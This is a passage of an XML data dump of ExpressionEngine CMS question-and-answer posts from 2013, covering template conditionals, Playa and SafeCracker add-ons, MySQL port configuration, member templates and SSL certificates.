  <row Id="7426" PostTypeId="1" AcceptedAnswerId="7430" CreationDate="2013-03-17T14:12:58.573" Score="1" ViewCount="1464" Body="&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;slug1&quot; || segment_1 != &quot;slug2&quot;}&amp;lt;h2&amp;gt;Text&amp;lt;/h2&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason this does not work with the second instruction after the OR operator. If I remove the OR operator and the following code it is fine ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;slug1&quot;}&amp;lt;h2&amp;gt;Text&amp;lt;/h2&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The OR operator seems to be the problem here. Can anyone shed some light on this?&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2020-01-09T23:15:01.377" Title="Using OR in an if statement" Tags="|ifelse|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7427" PostTypeId="1" AcceptedAnswerId="7428" CreationDate="2013-03-17T14:39:47.877" Score="1" ViewCount="709" Body="&lt;p&gt;We were experimenting with running an EE database stored on AWS and we found that MySQL was running on a non-standard port.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-17T14:39:47.877" Title="MySQL connection on a non-standard port" Tags="|config|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7428" PostTypeId="2" ParentId="7427" CreationDate="2013-03-17T14:39:47.877" Score="3" Body="&lt;p&gt;First thought was we'd add a config var for the MySQL port as per the CodeIngiter docs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['default']['port'] = 5432&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that didn't work instead we had to change the hostname to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['hostname'] = &quot;mysqldbinstance.hostname.com:4703&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-17T14:39:47.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7429" PostTypeId="2" ParentId="6876" CreationDate="2013-03-17T14:57:34.120" Score="1" Body="&lt;p&gt;sorry for the late reply here! If you look here - &lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/785/&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/forums/viewthread/785/&lt;/a&gt; Andrew claims that this is available. I cannot see it in the new version i've downloaded but if you ping @ajweaver he might be able to furnish you with a copy that has this?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-03-17T14:57:34.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7430" PostTypeId="2" ParentId="7426" CreationDate="2013-03-17T15:26:29.373" Score="1" Body="&lt;p&gt;In your case here, because of the double &quot;!=&quot;, use &quot;AND&quot; instead of &quot;OR&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;slug1&quot; AND segment_1 != &quot;slug2&quot;}&amp;lt;h2&amp;gt;Text&amp;lt;/h2&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;slug1&quot; OR segment_1 == &quot;slug2&quot;}&#xA;{if:else}&#xA;    &amp;lt;h2&amp;gt;Text&amp;lt;/h2&amp;gt;&#xA;{/if}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;DOCS: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#logical-operators&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Logical Operator&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-17T15:44:49.413" LastActivityDate="2013-03-17T15:44:49.413" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="7431" PostTypeId="2" ParentId="7409" CreationDate="2013-03-17T15:52:00.153" Score="9" Body="&lt;p&gt;There are only two reasons templates won't save as flat files:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The permissions on the destination directory are not set to 777&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The path to the directory is not correct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In your case, the path is not correct. Changing the path from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:/WebSites/limited-cobe/www/system/expressionengine/templates/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:/WebSites/limited-cobe/www/system/expressionengine/templates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without the trailing slash, will fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;DOCS: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html#set-template-preferences&quot;&gt;&lt;strong&gt;Set Template Preferences&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-17T23:27:39.030" LastActivityDate="2013-03-17T23:27:39.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7432" PostTypeId="2" ParentId="7408" CreationDate="2013-03-17T17:14:04.273" Score="1" Body="&lt;p&gt;This looked to be my own fault as I'd written a custom extension to interact with Store. It was this that was causing the problem. store.js is loading fine now.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-17T17:14:04.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7433" PostTypeId="1" CreationDate="2013-03-17T17:30:12.920" Score="1" ViewCount="100" Body="&lt;p&gt;I've setup a template at test/index that simply contains the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;quote_request&quot;}&#xA;   &amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;   &amp;lt;input name=&quot;my_custom_field&quot; type=&quot;text&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the page is simply returning a &quot;This webpage is not available&quot; and &quot;Error 330 (net::ERR_CONTENT_DECODING_FAILED): Unknown error.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a channel called quote_request. I'm using ExpressionEngine 2.5.5 and Safecracker 2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondered if anyone else has had this issue before? :/&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-03-17T18:35:53.983" Title="Error 330 for a basic Safecracker form" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7434" PostTypeId="2" ParentId="7433" CreationDate="2013-03-17T18:35:53.983" Score="1" Body="&lt;p&gt;Hmm, seems that the GZip compression causes this issue. All sorted.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-03-17T18:35:53.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7435" PostTypeId="1" AcceptedAnswerId="7436" CreationDate="2013-03-17T18:56:39.730" Score="2" ViewCount="527" Body="&lt;p&gt;Expressionengine 2 makes it extremely easy to bring a potential new member to a site via the registration form with one simple line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='member/register'}&quot;&amp;gt;sign-up&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, signs up people, etc.  The problem is that there seems to be no template anywhere that populates this page.  Also it generates a ton of CSS.  how can you modify the HTML and or CSS for this page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="968" LastActivityDate="2013-03-17T19:21:16.770" Title="How do you modify the basic CSS of the member registration page?" Tags="|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7436" PostTypeId="2" ParentId="7435" CreationDate="2013-03-17T19:15:13.080" Score="2" Body="&lt;p&gt;It's one of the member profile/system templates, but it's not under the Template Designer. Look in the /themes/ folder, under profile_themes/default. That's how you'd find and edit the template files directly on your desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To edit these templates in the EE control panel, choose Design &gt; Member Profile Templates, then go into Default (if that's the theme you're using.) The &quot;CSS Stylesheet&quot; is the CSS for all Default profile template pages. The &quot;Registration Form&quot; is the HTML for the Default profile registration-form template itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is the same place where you can edit the system error page, the login form, all kinds of goodies. You can even create your own &quot;theme&quot; that's styled very differently from the default one. You just have to remember that you get at them different ways.)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-03-17T19:21:16.770" LastActivityDate="2013-03-17T19:21:16.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7437" PostTypeId="1" AcceptedAnswerId="7470" CreationDate="2013-03-17T19:34:29.623" Score="7" ViewCount="721" Body="&lt;p&gt;The release notes for Assets 2 says &quot;Added support for simple HTML file field uploads via SafeCracker&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any example template code of how this should work, including how to remove the file if necessary? I can't see anything in the docs.&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2013-03-19T13:17:12.647" Title="Simple HTML file field uploads with Assets and Safecracker" Tags="|safecracker|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7438" PostTypeId="1" CreationDate="2013-03-17T19:46:50.193" Score="1" ViewCount="463" Body="&lt;p&gt;Hi I am using playa on a real estate site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have properties listed with the realtor that is selling the property and I can get that working fine with playa. My issue is when I have a property that has two realtors selling it. I can listing both of them fine, but I want to have them displayed in an accordion if there are more than one realtor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have thus far :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:playa:children}&#xA; {if count == &quot;1&quot;}&#xA; &amp;lt;ul class=&quot;agent&quot;&amp;gt;&#xA; &amp;lt;li class=&quot;name&quot;&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA; &amp;lt;li class=&quot;phone&quot;&amp;gt;{phone}&amp;lt;/li&amp;gt;&#xA; &amp;lt;li class=&quot;mail&quot;&amp;gt;{agent_email}&amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA; {if:else}&#xA; &amp;lt;div class=&quot;accordion&quot;&amp;gt;&#xA; &amp;lt;h3 class=&quot;name&quot;&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA; &amp;lt;div&amp;gt;&#xA; &amp;lt;ul class=&quot;agent&quot;&amp;gt;&#xA; &amp;lt;li class=&quot;phone&quot;&amp;gt;{phone}&amp;lt;/li&amp;gt;&#xA; &amp;lt;li class=&quot;mail&quot;&amp;gt;{agent_email}&amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; {/if}&#xA; {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am seeing is single realtors being listed fine, but when there are two realtors it lists the first one as a single and puts the second realtor in the accordion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great, I have been trying to figure this out for a while and can't seem to quite get there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2013-03-17T22:36:23.307" Title="how to write conditional counts with playa?" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7439" PostTypeId="2" ParentId="7438" CreationDate="2013-03-17T22:36:23.307" Score="4" Body="&lt;p&gt;Have you tried using &lt;code&gt;total_results&lt;/code&gt; instead of &lt;code&gt;count&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children}&#xA;    {if total_results == &quot;1&quot;}&#xA;        &amp;lt;ul class=&quot;agent&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;name&quot;&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;phone&quot;&amp;gt;{phone}&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;mail&quot;&amp;gt;{agent_email}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;div class=&quot;accordion&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;name&quot;&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;ul class=&quot;agent&quot;&amp;gt;&#xA;                    &amp;lt;li class=&quot;phone&quot;&amp;gt;{phone}&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;mail&quot;&amp;gt;{agent_email}&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2013-03-17T22:36:23.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7440" PostTypeId="2" ParentId="7415" CreationDate="2013-03-17T23:06:10.880" Score="1" Body="&lt;p&gt;I'm not sure if this would actually work and I don't have a site with the right setup to test it right now but you could try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Other scenes&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&#xA;    {embed=&quot;includes/_coparents&quot;&#xA;        all_coparents=&quot;{entry_id}|{exp:playa:coparent_ids field=&quot;movie_title&quot;}&quot;&#xA;    }&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;includes/_coparents&lt;/code&gt; embed would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:coparents coparent_id=&quot;{embed:all_coparents}&quot;}&#xA;    &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;        {if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;a href=&quot;{title_permalink='movie/scene'}&quot;&amp;gt;{/if}{scene_preview}&amp;lt;img src=&quot;{url:Listing}&quot; alt=&quot;{title}&quot; class=&quot;{if '{entry_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}grey{/if}&quot; /&amp;gt;{/scene_preview}{if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;h4&amp;gt;{if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;a href=&quot;{title_permalink='movie/scene'}&quot;&amp;gt;{/if}{title}{if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;/a&amp;gt;{/if}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;i class=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt; {if '{entry_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}&amp;lt;strong&amp;gt;Coming:&amp;lt;/strong&amp;gt;{/if} {entry_date format=&quot;%d %M&quot;}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:playa:coparents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I say, totally untested but it might just work.&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2013-03-17T23:06:10.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7441" PostTypeId="2" ParentId="7229" CreationDate="2013-03-18T02:50:59.697" Score="0" Body="&lt;p&gt;Were you able to get this plugin working on EE2? The developer's blog talks as if they've gotten out of the add-on writing and supporting business (which kind of stinks, because I was looking at this as a possible quite-nice solution to the project I'm working on.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the blog, &lt;a href=&quot;http://natural-logic.com/blog/it-s-time-to-re-focus&quot; rel=&quot;nofollow&quot;&gt;entry dated Mar 7 2013&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We got out of the ExpressionEngine add-on business in order to focus more on web consulting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EDIT: Oh, wait, did a little search and found it. Champagne 2 is being supported by the &lt;a href=&quot;http://mightybigrobot.com/products/detail/champagne-2&quot; rel=&quot;nofollow&quot;&gt;different dev company&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-03-18T02:50:59.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7442" PostTypeId="5" CreationDate="2013-03-18T02:59:07.330" Score="0" Body="&lt;p&gt;Champagne is an ExpressionEngine plugin that lets you integrate your Campaign Monitor functionality and tracking into the EE control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Champagne was &lt;a href=&quot;http://devot-ee.com/add-ons/champagne&quot; rel=&quot;nofollow&quot;&gt;originally available&lt;/a&gt; through devot-ee; and only worked on ExpressionEngine 1. The current version of Champagne, called Champagne 2, is available through &lt;a href=&quot;http://mightybigrobot.com/products/detail/champagne-2&quot; rel=&quot;nofollow&quot;&gt;Mighty Big Robot&lt;/a&gt; and is only compatible with EE2+.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-03-18T13:25:44.573" LastActivityDate="2013-03-18T13:25:44.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7443" PostTypeId="4" CreationDate="2013-03-18T02:59:07.330" Score="0" Body="Champagne is an ExpressionEngine plugin that lets you integrate your Campaign Monitor functionality and tracking into the EE control panel." OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-03-18T13:26:00.360" LastActivityDate="2013-03-18T13:26:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7444" PostTypeId="5" CreationDate="2013-03-18T03:27:57.903" Score="0" Body="&lt;p&gt;Software development branch of Barrett Interactive, makers of CartThrob. MBR is focussed on ExpressionEngine add-ons, including SafeCracker, CartThrob, Champagne 2, and others. All software and support &lt;a href=&quot;http://mightybigrobot.com/&quot; rel=&quot;nofollow&quot;&gt;available through the site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this tag when asking questions about any MightyBigRobot-supported product.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-03-18T09:15:11.283" LastActivityDate="2013-03-18T09:15:11.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7445" PostTypeId="4" CreationDate="2013-03-18T03:27:57.903" Score="0" Body="Software development group focussed on ExpressionEngine add-ons, including SafeCracker, CartThrob, Champagne 2, and others." OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-03-18T09:15:24.840" LastActivityDate="2013-03-18T09:15:24.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7446" PostTypeId="1" AcceptedAnswerId="7453" CreationDate="2013-03-18T03:36:23.793" Score="1" ViewCount="302" Body="&lt;p&gt;So I have a challenge, here's the setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3 Sites, each with it's own domain, managed by MSM.&lt;/li&gt;&#xA;&lt;li&gt;Each site has a small e-commerce implementation requiring SSL&lt;/li&gt;&#xA;&lt;li&gt;Multi-Domain SSL certs are prohibitively expensive, so I intend to get 3 single domain certs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The server that these sites are hosted on requires a separate CPanel instance for each site w/ SSL due to limitations with adding multiple IP addresses to each instance.  I don't entirely understand the details of this, but they assure me that while it would be possible to set up all 3 sites in one instance it would be prohibitively challenging to set up and maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which leads me to the question - how can I set up 3 sites in 3 separate CPanel instances all running off the same MSM install?  Is there other alternatives I'm not considering here?  How would you handle this setup?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-03-18T16:03:09.677" Title="EE, MSM, SSL and Multiple Domains" Tags="|multi-site-manager|ssl|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7447" PostTypeId="2" ParentId="7394" CreationDate="2013-03-18T10:20:40.273" Score="0" Body="&lt;p&gt;OK, so I managed to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the viewModel template, I've set a preload replace variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Used for right column meta data --}&#xA;{preload_replace:pr_channel=&quot;editorial&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of the page, and then put the &lt;strong&gt;entire&lt;/strong&gt; meta fields section, including the &lt;code&gt;stash:set_list&lt;/code&gt; tags in one snippet: &lt;code&gt;{sp_st_fields_page_meta}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside that I can just use {pr_channel} and it will parse at the correct time, meaning that all these variables (21 in the real site) can be set for each viewModel (15, it is a huge site) with only one snippet :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-03-18T10:20:40.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7448" PostTypeId="2" ParentId="6618" CreationDate="2013-03-18T12:19:47.407" Score="2" Body="&lt;p&gt;The Google Maps api provides a way for you to supply your own image for the map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/maps/documentation/javascript/maptypes#ImageMapTypes&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/maps/documentation/javascript/maptypes#ImageMapTypes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-03-18T12:19:47.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7450" PostTypeId="1" AcceptedAnswerId="7452" CreationDate="2013-03-18T15:24:37.333" Score="1" ViewCount="1791" Body="&lt;p&gt;When a user fills a 'forgot password' form, he or she receives an email like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;username,&#xA;&#xA;To reset your password, please go to the following page:&#xA;&#xA;[link to reset password]&#xA;&#xA;Your password will be automatically reset, and a new password will be&#xA;emailed to you.&#xA;&#xA;If you do not wish to reset your password, ignore this message. It will&#xA;expire in 24 hours.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works well for me, except my site is in french. Where is this template or where can I change it?&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2013-03-18T15:57:02.963" Title="Modify the 'forgot password' email template" Tags="|members|email|login|password|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7451" PostTypeId="1" AcceptedAnswerId="7454" CreationDate="2013-03-18T15:42:01.753" Score="1" ViewCount="224" Body="&lt;p&gt;Having a bit of trouble getting my head round something in Playa...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have code which is a bit like this to deal with multiple channels from a single Playa field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {exp:playa:children field=&quot;my_playa_field&quot;}&#xA;        {if '{channel_short_name}' == 'channel_one'}&#xA;        &amp;lt;section&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;            {channel_one_specific_field}&#xA;        &amp;lt;section&amp;gt;&#xA;        {if:elseif '{channel_short_name}' == 'channel_two'}&#xA;        &amp;lt;section&amp;gt;&#xA;            {title}&#xA;            {channel_two_specific_field}&#xA;        &amp;lt;/section&amp;gt;&#xA;        {/if}&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are more than two channels, and each has a number of custom fields, but the basic idea is the same. It works, but what I'd like to do to make maintenance a bit easier is take all the code between the if statements and call them as embeds instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {exp:playa:children field=&quot;my_playa_field&quot;}&#xA;        {if '{channel_short_name}' == 'channel_one'}&#xA;            {embed=&quot;templates/template_one&quot;}&#xA;        {if:elseif '{channel_short_name}' == 'channel_two'}&#xA;            {embed=&quot;templates/template_two&quot;}&#xA;        {/if}&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried this, and it doesn't work. The right templates are being called, but the tags aren't being parsed as I would like, e.g. {title} echoes '{title}' rather than 'Entry title.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So really I have three questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this a sensible approach to take to using Playa fields?    &lt;/li&gt;&#xA;&lt;li&gt;What am I missing with the embed template code?&lt;/li&gt;&#xA;&lt;li&gt;Will calling embedded templates harm performance, or would I be better keeping all the code in one template (which is what I'm doing now)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1189" LastActivityDate="2013-03-18T16:16:38.080" Title="Playa conditionals/embeds" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7452" PostTypeId="2" ParentId="7450" CreationDate="2013-03-18T15:57:02.963" Score="2" Body="&lt;p&gt;You can edit the copy in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/message_pages/index.html#email-notification-templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Message Pages&lt;/strong&gt;&lt;/a&gt; area of the Control Panel... specifically edit the &quot;Password Reset Notification&quot; template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Control Panel Location:&lt;/strong&gt; Design ‣ Message Pages&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-18T15:57:02.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7453" PostTypeId="2" ParentId="7446" CreationDate="2013-03-18T16:03:09.677" Score="1" Body="&lt;p&gt;GoDaddy offers a &lt;a href=&quot;http://www.godaddy.com/ssl/ssl-certificates.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;5 domain multi-domain SSL&lt;/strong&gt;&lt;/a&gt; for $89.99/yr. I'd go with that. The cost is less if you signup for 3+ years which I would suggest so you don't have to install it again each year.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-18T16:03:09.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7454" PostTypeId="2" ParentId="7451" CreationDate="2013-03-18T16:16:38.080" Score="0" Body="&lt;p&gt;Moving the code to an embed will not work without coding a channel:entries tag in the embed as well and telling it what to load. For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;templates/template_one&quot; id=&quot;entry_id&quot; channel=&quot;{channel_short_name}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the embed you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{embed:channel}&quot; entry_id=&quot;{embed:id}&quot; limit=&quot;1&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With that said, you WILL harm performance by making this change... It's generally accepted that embeds should be used as little as possible and I'd say absolutely shouldn't be used just to make code more 